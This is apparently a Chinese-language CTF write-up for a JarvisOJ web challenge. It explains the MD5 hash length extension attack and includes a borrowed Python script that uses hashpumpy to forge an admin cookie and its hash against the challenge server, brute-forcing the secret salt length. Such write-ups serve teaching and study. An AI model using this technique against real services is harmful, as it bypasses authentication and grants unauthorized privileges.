Flag在管理员手里
主要是hash长度扩展攻击的原理,其实只要明白了md5算法的大致过程就可以容易理解。
首先题目看看要求什么条件才能获取flag
1.要求cookie中role=admin,这个简单,直接修改HTTP包内容就行。
2.要求hsh===MD5($salt.strrev($_COOKIE[“role”]))
第二步中,salt是不知道的,但是hsh时我们传入,相当于已知的。所以这里要构造,让cookie中的role=admin,
并且保证服务器在运算md5函数后,结果等于我们传入的hsh。 这就很清楚问题的所在了,如何在不知道salt
的情况下,计算出一个特定的hash,对“特定”的解释就是:知道了hsh=md5($salt.strrev(';"tseug":5:s')),如何使
得md5($salt.strrev(';{***padding}"nimda":5:s{***padding}'))=hsh1成立。
这时候就要看如何加padding了
我们先补充第一次salt+身份信息的长度,让他符合md5算的要求(64bit一组),服务器也是这么做的,只不过是服务器补足以后拿去运算,然后得到hash给我们返回hsh1。而我们补足信息后,在拼接上其他的信息,比如admin,服务器接收到以后,就会先进行和以前一样的运算,得到hsh1,然后用这个hsh1用作register,去加密下一个块(admin),然后就会计算出md5($salt+role)的值hsh2与我们传入的hsh比较。那么重点就在这里了,我们是知道hsh1的,本地也可以完成第二次hash计算,可以计算出hsh2,那么我们传入的hsh为hsh2不就过了验证吗!
辅助理解:
我们知道hash1(第一次服务器正常的身份信息),和admin(我们自己加上的嘛),那么我们做一次hash1和admin的MD5运算不就得到hash2了嘛。把hash2赋值给hsh,传入就满足了hsh=MD5(salt+role)
python有库hashpumpy实现了哈希长度扩展攻击:
Help on built-in function hashpump in module hashpumpy:
hashpump(…)
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)
Arguments:
hexdigest(str): Hex-encoded result of hashing key + original_data.
original_data(str): Known data used to get the hash result hexdigest.
data_to_add(str): Data to append
key_length(int): Length of unknown data prepended to the hash
Returns:
A tuple containing the new hex digest and the new message.
贴一段别人的脚本吧,我自己主要还是理解原理,这里salt的长度需要爆破一下
#!/usr/bin/python
# -*- coding=utf -*-
import requests,hashpumpy,urllib
def webre():
url = 'http://web.jarvisoj.com:32778/'
sha = '3a4727d57463f122833d9e732f94e4e0'
string0 = ';"tseug":5:s'
string1 = ';"nimda":5:s'
for i in range(15):
digest, message = hashpumpy.hashpump(sha,string0,string1,i)
payload ={'role':urllib.quote(message[::-1]), 'hsh':digest} # quote()用于把'\x00'都变成'%00' 这道题message需要反转一下
print(i,payload)
html = requests.get(url,cookies=payload).content#提交答案
if 'Welcome' in html:
print(html)
webre()
参考链接
http://roo0.me/2017/07/01/WP-for-JarvisOJ/
https://blog.csdn.net/zpy1998zpy/article/details/80858080
https://www.freebuf.com/articles/web/69264.html
https://www.freebuf.com/articles/web/31756.html
https://www.jianshu.com/p/5342d07a6956